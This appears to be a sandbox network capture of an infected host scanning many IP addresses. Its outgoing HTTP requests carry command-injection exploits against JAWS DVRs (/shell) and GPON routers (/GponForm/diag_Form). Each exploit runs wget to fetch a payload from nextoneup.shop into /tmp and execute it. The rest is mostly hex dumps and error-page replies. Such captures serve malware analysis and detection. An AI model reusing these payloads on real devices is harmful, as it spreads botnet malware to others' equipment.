Apr 14, 2024 04:00:36.911245108 CEST	1289	IN	Data Raw: 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .inf
Apr 14, 2024 04:00:36.911340952 CEST	1289	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 Data Ascii: nt-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: l
Apr 14, 2024 04:00:36.911375999 CEST	1289	IN	Data Raw: 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f Data Ascii: j+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/V
Apr 14, 2024 04:00:36.911432981 CEST	1289	IN	Data Raw: 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a Data Ascii: whvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxu
Apr 14, 2024 04:00:36.911505938 CEST	1184	IN	Data Raw: 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 Data Ascii: ReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU
Apr 14, 2024 04:00:36.911578894 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:3din
Apr 14, 2024 04:00:36.911601067 CEST	536	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 Data Ascii: </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" ti

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.23	46792	24.199.65.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.797198057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.23	37230	125.206.172.59	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.850415945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.137284040 CEST	416	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:35 GMT Server: Apache Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.23	57956	143.110.240.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.932615042 CEST	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.23	57978	45.207.75.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.047413111 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.369592905 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 09:59:54 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.23	52944	104.64.254.230	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.191308975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.656018972 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:37 GMT Date: Sun, 14 Apr 2024 02:00:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 65 66 37 62 62 36 39 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 36 64 33 61 30 34 66 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 65 66 37 62 62 36 39 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 36 64 33 61 30 34 66 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6ef7bb69.1713060037.6d3a04f<P>https://errors.edgesuite.net/9.6ef7bb69.1713060037.6d3a04f</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.23	58496	35.190.94.114	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.532680988 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.846584082 CEST	153	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:37 GMT Content-Length: 74 Content-Type: text/plain; charset=utf-8 Via: 1.1 google
Apr 14, 2024 04:00:37.846726894 CEST	86	IN	Data Raw: 72 65 73 70 6f 6e 73 65 20 34 30 34 20 28 62 61 63 6b 65 6e 64 20 4e 6f 74 46 6f 75 6e 64 29 2c 20 73 65 72 76 69 63 65 20 72 75 6c 65 73 20 66 6f 72 20 74 68 65 20 70 61 74 68 20 6e 6f 6e 2d 65 78 69 73 74 65 6e 74 20 0a Data Ascii: response 404 (backend NotFound), service rules for the path non-existent

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.23	49178	52.217.87.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.765676022 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.991836071 CEST	309	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: NRK6EEWSFP8DKEQD x-amz-id-2: j+IaxL5Kz8ZYXOnNGbMoCSauafZyu8GsAwnpArdLtc0FVTy6IMTri0naGW0TFxxCUqRIk0T/1f0= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:37 GMT Server: AmazonS3
Apr 14, 2024 04:00:37.991885900 CEST	444	IN	Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpo
Apr 14, 2024 04:00:37.991904974 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 14, 2024 04:00:38.210302114 CEST	758	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: NRK6EEWSFP8DKEQD x-amz-id-2: j+IaxL5Kz8ZYXOnNGbMoCSauafZyu8GsAwnpArdLtc0FVTy6IMTri0naGW0TFxxCUqRIk0T/1f0= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:00:37 GMT Server: AmazonS3 Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 62 75 63 6b 65 74 20 79 6f 75 20 61 72 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 61 63 63 65 73 73 20 6d 75 73 74 20 62 65 20 61 64 64 72 65 73 73 65 64 20 75 73 69 6e 67 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6e 64 70 6f 69 6e 74 2e 20 50 6c 65 61 73 65 20 73 65 6e 64 20 61 6c 6c 20 66 75 74 75 72 65 20 72 65 71 75 65 73 74 73 20 74 6f 20 74 68 69 73 20 65 6e 64 70 6f 69 6e 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 45 6e 64 70 6f 69 6e 74 3e 73 68 65 6c 6c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 3c 2f 45 6e 64 70 6f 69 6e 74 3e 3c 42 75 63 6b 65 74 3e 73 68 65 6c 6c 3c 2f 42 75 63 6b 65 74 3e 3c 52 65 71 75 65 73 74 49 64 3e 4e 52 4b 36 45 45 57 53 46 50 38 44 4b 45 51 44 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 6a 2b 49 61 78 4c 35 4b 7a 38 5a 59 58 4f 6e 4e 47 62 4d 6f 43 53 61 75 61 66 5a 79 75 38 47 73 41 77 6e 70 41 72 64 4c 74 63 30 46 56 54 79 36 49 4d 54 72 69 30 6e 61 47 57 30 54 46 78 78 43 55 71 52 49 6b 30 54 2f 31 66 30 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpoint>shell.s3.amazonaws.com</Endpoint><Bucket>shell</Bucket><RequestId>NRK6EEWSFP8DKEQD</RequestId><HostId>j+IaxL5Kz8ZYXOnNGbMoCSauafZyu8GsAwnpArdLtc0FVTy6IMTri0naGW0TFxxCUqRIk0T/1f0=</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.23	52888	35.169.101.233	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.765886068 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.23	40462	23.215.93.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.766633034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.992202044 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:00:37 GMT Date: Sun, 14 Apr 2024 02:00:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 64 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 36 66 62 62 32 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 64 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 36 66 62 62 32 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1d333217.1713060037.6fbb27<P>https://errors.edgesuite.net/9.1d333217.1713060037.6fbb27</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.23	54638	172.175.208.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.778358936 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.018692970 CEST	238	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:00:37 GMT Content-Type: application/octet-stream Content-Length: 19 Connection: keep-alive X-INVALIDATE-CACHE: 1 Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.23	44576	45.199.5.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.852102995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.23	47374	52.85.21.126	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.921314001 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.312653065 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:38 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.23	34498	118.4.26.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434298992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.23	41380	109.241.148.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434351921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.23	44910	212.49.191.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434390068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.23	57836	178.173.167.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.434438944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.23	37904	42.99.53.192	443

Timestamp	Bytes transferred	Direction	Data
